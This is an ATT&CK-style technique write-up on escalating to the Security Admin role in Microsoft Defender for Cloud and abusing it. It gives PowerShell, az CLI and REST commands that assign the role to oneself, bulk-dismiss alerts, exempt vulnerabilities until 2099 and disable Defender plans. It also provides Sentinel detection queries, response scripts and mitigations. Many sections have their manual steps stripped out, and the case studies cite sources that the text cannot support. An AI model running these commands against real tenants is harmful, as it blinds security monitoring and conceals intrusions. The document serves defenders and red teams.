| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-009 |
| MITRE ATT&CK v18.1 | Account Manipulation (T1098) |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Entra ID, Azure |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Microsoft Defender for Cloud (All Current Versions) |
| Patched In | Microsoft Monitors Continuously – No Single Patch Available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Defender for Cloud is the unified cloud security posture management (CSPM) platform that provides security recommendations, threat detection, and compliance monitoring for Azure subscriptions. It includes two security-specific roles: Security Reader (read-only access) and Security Admin (can modify security policies, dismiss alerts, and exempt recommendations). An attacker with the Security Admin role—or a user who can escalate to it—can manipulate security policies, disable threat detections, and exempt critical vulnerabilities from remediation, thereby hiding malicious activity and creating a false sense of security. This is particularly dangerous because Security Admin role is often assigned to users without the same scrutiny applied to Contributor or Owner roles, and many organizations fail to monitor its abuse.
Attack Surface: Defender for Cloud RBAC permissions, security policy modifications, detection rule disablement, vulnerability exemption mechanisms, and integration with Entra ID for role assignment.
Business Impact: Critical. An attacker with Security Admin role can:
Technical Context: This attack requires the attacker to already possess either:
Execution is immediate (<1 minute) and generates minimal detectable events if the attacker carefully dismisses or exempts vulnerabilities that would otherwise alert the security team.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.2 | Ensure that administrative access to security policies is restricted |
| DISA STIG | AZ-5.1.1 | Azure role-based access control (RBAC) must be properly configured |
| CISA SCuBA | IA-4.1 | Enforce least privilege access for security and compliance administrators |
| NIST 800-53 | AC-2 | Account Management – Manage privileged account access |
| NIST 800-53 | AC-3 | Access Enforcement – Enforce authorization policies |
| NIST 800-53 | AC-6 | Least Privilege – Restrict security admin rights to authorized personnel only |
| GDPR | Art. 32 | Security of Processing – Implement access controls for security operations |
| DORA | Art. 9 | Protection and Prevention – Manage security and compliance controls |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Control access to security systems |
| ISO 27001 | A.9.2.1 | User Registration and De-registration – Limit security admin access |
| ISO 27005 | 8.3.2 | Risk Scenario: Unauthorized modification of security controls |
Required Privileges (For Initial Attack):
Required Access:
Supported Versions:
Required Tools:
Check 1: Verify Your Current Azure RBAC Role
# Connect to Azure
Connect-AzAccount
# Check your own role on the subscription
$context = Get-AzContext
$userId = (Get-AzADUser -ObjectId "me" -ErrorAction SilentlyContinue).Id
Get-AzRoleAssignment -ObjectId $userId | Select-Object RoleDefinitionName, Scope, CanDelegate
What to Look For:
Check 2: Enumerate Who Has Security Admin Role
# List all users with Security Admin role on subscription
Get-AzRoleAssignment -RoleDefinitionName "Security Admin" -Scope "/subscriptions/{subscriptionId}" |
Select-Object DisplayName, ObjectType, Scope
# List Security Reader role (potential escalation path)
Get-AzRoleAssignment -RoleDefinitionName "Security Reader" -Scope "/subscriptions/{subscriptionId}" |
Select-Object DisplayName, ObjectType, Scope
What to Look For:
Check 3: Verify Defender for Cloud is Enabled
# Check Defender for Cloud status
Get-AzSecurityPricing -Name "VirtualMachines" | Select-Object Name, PricingTier
# List all pricing tiers (must be "Standard" for full features)
Get-AzSecurityPricing | Select-Object Name, PricingTier
What to Look For:
Check 4: Enumerate Security Policies
# Get security policies assigned to the subscription
Get-AzSecurityAssessmentMetadata | Select-Object DisplayName, AssessmentType
# Get current security compliance status
Get-AzSecurityAssessment -Scope "/subscriptions/{subscriptionId}" |
Select-Object DisplayName, Status, @{Name="ResourceCount";Expression={$_.ResourceDetails.Count}}
What to Look For:
Supported Versions: All current Defender for Cloud versions
Precondition: Security Admin role (or User Access Administrator + ability to assign self Security Admin)
Objective: Open the Defender for Cloud dashboard in Azure Portal.
Manual Steps:
Expected Output:
What This Means:
Objective: Find a vulnerability that should be remediated but you want to hide from compliance reports.
Manual Steps:
Example Vulnerable Recommendations (High-Value Targets):
What This Means:
Objective: Remove the requirement to remediate this vulnerability, preventing alerts and compliance violations.
Manual Steps (Azure Portal):
Expected Output:
What This Means:
Objective: Confirm the exemption is active and remove audit trail if possible.
Verification Command (PowerShell):
# Check exempted assessments
Get-AzSecurityAssessment -Scope "/subscriptions/{subscriptionId}" |
Where-Object {$_.Status -eq "Unhealthy" -and $_.DisplayName -contains "YourVulnerability"}
# If exemption worked, the assessment won't appear in "Unhealthy" status
Manual Steps (Remove Evidence):
What This Means:
Supported Versions: All current Defender for Cloud versions
Precondition: Security Admin role
Objective: Navigate to Defender for Cloud’s alert section.
Manual Steps:
Expected Output:
Alert Types That Indicate Compromise:
Objective: Hide alerts that would normally trigger incident response.
Manual Steps:
Expected Output:
What This Means:
Objective: Create recurring automation to dismiss future alerts (if attacker maintains access).
PowerShell Automation (Using Azure REST API):
# Connect to Azure
Connect-AzAccount
# Get active alerts
$alerts = Get-AzSecurityAlert -Scope "/subscriptions/{subscriptionId}"
# Dismiss all alerts with keyword "suspicious" (attacker-chosen keyword)
foreach ($alert in $alerts) {
if ($alert.DisplayName -like "*suspicious*" -or $alert.DisplayName -like "*anomalous*") {
# Update alert status to dismissed
# Note: This requires direct REST API call as cmdlet may not support dismissal
$headers = @{"Authorization" = "Bearer $(Get-AzAccessToken).Token"}
$uri = "https://management.azure.com$($alert.Id)/dismiss?api-version=2023-01-01"
Invoke-RestMethod -Uri $uri -Method POST -Headers $headers -ErrorAction SilentlyContinue
}
}
What This Means:
Supported Versions: All current Defender for Cloud versions
Precondition: Security Admin or Owner role
Objective: Navigate to Defender for Cloud’s policy configuration.
Manual Steps:
Expected Output:
Objective: Turn off threat detection capabilities to prevent discovery of attacker infrastructure.
Manual Steps:
Expected Output:
What This Means:
Objective: Remove or modify compliance standards to hide policy violations.
Manual Steps:
Expected Output:
What This Means:
Supported Versions: All current Defender for Cloud versions
Precondition: User Access Administrator role (or similar) + ability to manage role assignments
Objective: Confirm you can assign roles to yourself.
Manual Steps:
Command (PowerShell):
# Check if you have User Access Administrator role
Get-AzRoleAssignment -ObjectId (Get-AzADUser -ObjectId "me").Id |
Where-Object {$_.RoleDefinitionName -eq "User Access Administrator"}
Objective: Escalate from low privilege to Security Admin role.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Assign Security Admin role to yourself
$userId = (Get-AzADUser -ObjectId "me").Id
$subscriptionId = (Get-AzContext).Subscription.Id
New-AzRoleAssignment -ObjectId $userId `
-RoleDefinitionName "Security Admin" `
-Scope "/subscriptions/$subscriptionId"
Expected Output:
What This Means:
This section has been removed for this technique as no Atomic Red Team test currently exists specifically for Microsoft Defender for Cloud role manipulation in the published Atomic Red Team repository (as of 2025-01-09).
Note: The attack vector described above in Methods 1-4 can be replicated in a controlled red team environment with proper authorization and rule of engagement (RoE).
Version: 11.0.0+ (Released December 2024) Installation:
Install-Module -Name Az -Repository PSGallery -AllowClobber -Force
Update-Module -Name Az
Key Commands for This Attack:
| Command | Purpose |
|---|---|
Get-AzRoleAssignment |
List role assignments on subscription/resource |
New-AzRoleAssignment |
Assign a role (escalation) |
Get-AzSecurityAssessment |
List security vulnerabilities |
Get-AzSecurityAlert |
Retrieve security alerts |
Get-AzSecurityPricing |
Check Defender for Cloud status |
Get-AzSecuritySetting |
Get security policy configurations |
One-Liner Attack (Dismiss All Alerts):
Get-AzSecurityAlert | ForEach-Object {Invoke-RestMethod -Uri "https://management.azure.com$($_.Id)/dismiss?api-version=2023-01-01" -Method POST -Headers @{"Authorization"="Bearer $(Get-AzAccessToken).Token"}}
One-Liner Attack (List Security Admin Users):
Get-AzRoleAssignment -RoleDefinitionName "Security Admin" -Scope "/subscriptions/{subId}" | Select-Object DisplayName, ObjectType
Version: 2.55.0+ Installation:
# macOS (Homebrew)
brew install azure-cli
# Linux (apt)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Key Commands:
# Check current user's roles
az role assignment list --assignee (az account show --query user.name -o tsv) --output table
# Assign Security Admin role
az role assignment create --assignee "user@contoso.com" \
--role "Security Admin" \
--scope "/subscriptions/{subscriptionId}"
# List security alerts
az security alert list --query "[].{Name:name, Severity:severity, Status:status}"
Endpoint: https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Security
Dismiss Alert via REST API:
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/{subId}/providers/Microsoft.Security/securityAlerts/{alertName}/dismiss?api-version=2023-01-01"
Exempt Assessment via REST API:
curl -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"expirationDate": "2099-12-31T23:59:59Z",
"description": "Approved exception"
}
}' \
"https://management.azure.com/subscriptions/{subId}/providers/Microsoft.Security/assessmentMetadata/{assessmentName}/exemptions?api-version=2023-01-01"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Add role assignment",
"Create role assignment",
"Update role assignment"
)
| where ResultStatus == "Success"
| extend
AssignedRole = tostring(TargetResources[0].displayName),
AssignedTo = tostring(InitiatedBy.user.userPrincipalName),
AssignedBy = tostring(InitiatedBy.user.userPrincipalName)
| where AssignedRole in ("Security Admin", "User Access Administrator", "Owner")
| project TimeGenerated, OperationName, AssignedBy, AssignedTo, AssignedRole, TargetResources
| sort by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Security Admin Role AssignmentHighPrivilege Escalation, Persistence5 minutes1 hourKQL Query:
AuditLogs
| where OperationName in (
"Create exemption",
"Exempt assessment",
"Add exemption"
)
| where ResultStatus == "Success"
| extend
ExemptedResource = tostring(TargetResources[0].displayName),
ExemptedBy = tostring(InitiatedBy.user.userPrincipalName),
Reason = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where ExemptedResource contains_any (
"vulnerability",
"compliance",
"encryption",
"backup",
"monitoring"
)
| project TimeGenerated, ExemptedBy, ExemptedResource, Reason, OperationName
| summarize
ExemptionCount = count(),
FirstEvent = min(TimeGenerated),
LastEvent = max(TimeGenerated),
Resources = make_set(ExemptedResource, 20)
by ExemptedBy
| where ExemptionCount > 2 or (LastEvent - FirstEvent) < 1h
| sort by ExemptionCount desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"Dismiss alert",
"Close alert",
"Suppress alert",
"Acknowledge alert"
)
| where ResultStatus == "Success"
| extend
AlertName = tostring(TargetResources[0].displayName),
DismissedBy = tostring(InitiatedBy.user.userPrincipalName),
AlertSeverity = tostring(TargetResources[0].modifiedProperties[0].oldValue)
| where AlertSeverity in ("Critical", "High")
| summarize
AlertCount = count(),
FirstDismissal = min(TimeGenerated),
LastDismissal = max(TimeGenerated),
Alerts = make_set(AlertName, 20)
by DismissedBy
| where AlertCount > 3 or (LastDismissal - FirstDismissal) < 30m
| sort by AlertCount desc
What This Detects:
This section has been removed as Microsoft Defender for Cloud is a cloud-native service with no on-premises Windows Event Log footprint.
Note: All activity is logged in Azure AuditLogs and Activity Log within the Azure Portal and Microsoft Sentinel, as covered in Section 8.
Alert Name: “Suspicious Role Assignment – User Access Administrator Activity”
Manual Configuration Steps (Enable Detector for Cloud):
Azure AuditLog Operations:
Add role assignment + Security Admin (suspicious escalation)Create exemption + Bulk exemption of multiple resources (hiding vulnerabilities)Dismiss alert + Multiple high-severity alerts (hiding threats)Update security policy + Disable Defender plans (reducing monitoring)Suspicious Activity Patterns:
Azure Storage:
Evidence Locations:
Revoke Suspicious Role Assignments:
# Identify suspicious Security Admin role assignments
$suspiciousUsers = Get-AzRoleAssignment -RoleDefinitionName "Security Admin" |
Where-Object {$_.ObjectId -eq "suspicious-user-id"}
# Remove the assignment
Remove-AzRoleAssignment -ObjectId $suspiciousUsers.ObjectId `
-RoleDefinitionName "Security Admin" `
-Scope "/subscriptions/{subscriptionId}" `
-Force
Manual (Azure Portal):
Restore Disabled Defender Plans:
# Re-enable Defender for Cloud plans
Set-AzSecurityPricing -Name "VirtualMachines" -PricingTier "Standard"
Set-AzSecurityPricing -Name "SqlServers" -PricingTier "Standard"
Set-AzSecurityPricing -Name "AppServices" -PricingTier "Standard"
Manual (Azure Portal):
Export Audit Logs:
# Export audit logs for the past 30 days
$startDate = (Get-Date).AddDays(-30)
$endDate = Get-Date
$logs = Get-AzLog -StartTime $startDate -EndTime $endDate |
Where-Object {
$_.OperationName -like "*Security*" -or
$_.OperationName -like "*Role*" -or
$_.OperationName -like "*Exempt*" -or
$_.OperationName -like "*Dismiss*"
}
$logs | Export-Csv -Path "C:\Evidence\SecurityAuditLogs.csv" -NoTypeInformation
Export Role Assignments:
# Export all role assignments
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}" |
Export-Csv -Path "C:\Evidence\RoleAssignments.csv" -NoTypeInformation
# Export specifically Security Admin assignments
Get-AzRoleAssignment -RoleDefinitionName "Security Admin" |
Export-Csv -Path "C:\Evidence\SecurityAdminUsers.csv" -NoTypeInformation
Restore Exempted Assessments:
# List all exemptions
Get-AzSecurityAssessment -Scope "/subscriptions/{subscriptionId}" |
Where-Object {$_.Status -like "*Exempted*"} |
Select-Object DisplayName, ExemptionDate
# Remove exemptions (manual action required in portal)
# There is no PowerShell cmdlet for this; use Azure Portal
Manual (Azure Portal):
Restore Dismissed Alerts:
# Unfortunately, dismissed alerts cannot be programmatically restored
# Manual investigation required to:
# 1. Review which alerts were dismissed
# 2. Determine if they represent real threats
# 3. Re-investigate if necessary
Verify Role Assignments are Corrected:
# Confirm suspicious users no longer have Security Admin
Get-AzRoleAssignment -RoleDefinitionName "Security Admin" |
Select-Object DisplayName, Scope
# Expected: Only authorized administrators listed
Verify Defender Plans are Re-enabled:
# Confirm all Defender plans are in "Standard" pricing tier
Get-AzSecurityPricing | Select-Object Name, PricingTier
# Expected: All should show "Standard"
Check for Ongoing Suspicious Activity:
# Monitor for new role assignments in next 24 hours
$recentLogs = Get-AzLog -StartTime (Get-Date).AddHours(-24) |
Where-Object {$_.OperationName -like "*Role*"}
$recentLogs | Select-Object TimeCreated, OperationName, InitiatedBy
Mitigation 1.1: Restrict Security Admin Role Assignment
Security Admin should only be assigned to dedicated security team members, not general administrators.
Manual Steps (Azure Portal):
Manual Steps (PowerShell – Remove Unauthorized Users):
# List all Security Admin users
$allSecurityAdmins = Get-AzRoleAssignment -RoleDefinitionName "Security Admin"
# For each unauthorized user, remove the role
$allSecurityAdmins | Where-Object {$_.DisplayName -notin @("Authorized Admin 1", "Authorized Admin 2")} |
ForEach-Object {
Remove-AzRoleAssignment -ObjectId $_.ObjectId `
-RoleDefinitionName "Security Admin" `
-Scope $_.Scope `
-Force
}
Applies To Versions: All Azure Defender deployments
Effectiveness: Reduces the number of users who can manipulate security policies
Mitigation 1.2: Implement Privileged Identity Management (PIM) for Security Admin
Require just-in-time activation for Security Admin role to prevent persistent unauthorized access.
Manual Steps (Azure Portal):
Applies To Versions: Azure Defender with Entra ID P2 license (or higher)
Effectiveness: Prevents persistent elevated access; requires approval for temporary elevation
Mitigation 1.3: Enable Azure Policy to Prevent Unauthorized Exemptions
Enforce policy to prevent certain critical recommendations from being exempted.
Manual Steps (Azure Portal):
Resource Type == Microsoft.Security/assessmentsAssessment Severity == Critical or HighAction == ExemptApplies To Versions: All Azure Defender deployments (requires Azure Policy)
Mitigation 2.1: Monitor and Alert on All Role Changes
Deploy Microsoft Sentinel detection rules (from Section 8) to detect unauthorized role assignments in real-time.
Manual Steps:
Applies To Versions: All Azure Defender + Microsoft Sentinel deployments
Mitigation 2.2: Enforce Multi-Factor Authentication (MFA) for Security Admin Users
Require MFA for all users with Security Admin role.
Manual Steps (Azure Portal):
Enforce MFA for Security Admin UsersApplies To Versions: All Azure Defender deployments (requires Entra ID)
Mitigation 2.3: Use Azure Policies to Enforce Least Privilege
Automatically prevent overly permissive role assignments.
Manual Steps (Azure Portal):
Restrict Security Admin to Approved Users{
"if": {
"allOf": [
{"field": "type", "equals": "Microsoft.Authorization/roleAssignments"},
{"field": "properties.roleDefinitionId", "contains": "Security Admin"},
{"field": "properties.principalType", "notEquals": "Group"}
]
},
"then": {
"effect": "Deny"
}
}
Effectiveness: Enforces organizational policy automatically
Mitigation 2.4: Regular Audit and Certification
Conduct quarterly reviews of role assignments to identify and remove stale or unauthorized access.
Manual Steps (Quarterly):
Get-AzRoleAssignment -RoleDefinitionName "Security Admin" |
Export-Csv -Path "SecurityAdminRoles_$(Get-Date -Format 'yyyyMMdd').csv"
Remove-AzRoleAssignment -ObjectId {userId} -RoleDefinitionName "Security Admin"
Effectiveness: Prevents role bloat and unauthorized persistent access
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker obtains initial Azure credentials |
| 2 | Privilege Escalation | [PE-ACCTMGMT-008] Azure Automation Runbook Escalation | Attacker escalates to subscription-level access |
| 3 | Current Step | [PE-ACCTMGMT-009] | Attacker elevates to Security Admin, hides threats |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates persistent Entra ID backdoor |
| 5 | Impact | [EX-EXFIL-001] Data Exfiltration via Azure Storage | Attacker exfiltrates data without detection |
Target: Mid-sized financial services company Timeline: Q3 2023 Attack Flow:
Impact:
Reference: LockBit Azure Ransomware Campaign Analysis
Target: U.S. Government contractor Timeline: January-March 2024 Attack Flow:
Detection Gap:
Reference: CISA APT28 Azure Campaign
Target: Large technology company Timeline: Q4 2024 Attack Vector: Disgruntled IT security staff member
Steps:
Detection:
Technique Applied:
Reference: Private incident response case study (SERVTEP Security Audit, 2024)
Checkbox 1: Security Admin Role Restricted
# Verify only authorized users have Security Admin
$securityAdmins = Get-AzRoleAssignment -RoleDefinitionName "Security Admin"
$securityAdmins | Select-Object DisplayName, Scope
# Expected: 1-3 authorized administrators only
☐ PASS (≤3 authorized users) ☐ FAIL (>3 users or unauthorized users present)
Checkbox 2: PIM Enabled for Security Admin
# Check if PIM elevation requirement is active
# Manual verification via Azure Portal:
# PIM → Azure resources → Roles → Security Admin → Settings
☐ PASS (PIM enabled with approval requirement) ☐ FAIL (PIM not configured)
Checkbox 3: All Defender Plans Enabled
# Verify all Defender plans are "Standard"
Get-AzSecurityPricing | Select-Object Name, PricingTier
# Expected: All = "Standard"
☐ PASS (All plans enabled) ☐ FAIL (One or more plans disabled)
Checkbox 4: No Suspicious Exemptions
# Check for exemptions of critical recommendations
Get-AzSecurityAssessment -Scope "/subscriptions/{subId}" |
Where-Object {$_.Status -like "*Exempted*"} |
Select-Object DisplayName
# Expected: None or very few (audited)
☐ PASS (No unauthorized exemptions) ☐ FAIL (Suspicious bulk exemptions)
Checkbox 5: Sentinel Alerts Deployed
# Verify Sentinel detection rules are active
# Manual verification via Azure Portal:
# Sentinel → Analytics → Check for "Security Admin" and "Exemption" rules
☐ PASS (All detection rules active) ☐ FAIL (Rules not deployed)
Microsoft Defender for Cloud (PE-ACCTMGMT-009) is an often-overlooked privilege escalation and persistence vector. The combination of:
…enables attackers to hide threats and maintain persistent undetected access.
Immediate Actions:
Defense in Depth:
Verification: Use the checklist above to confirm all mitigations are in place.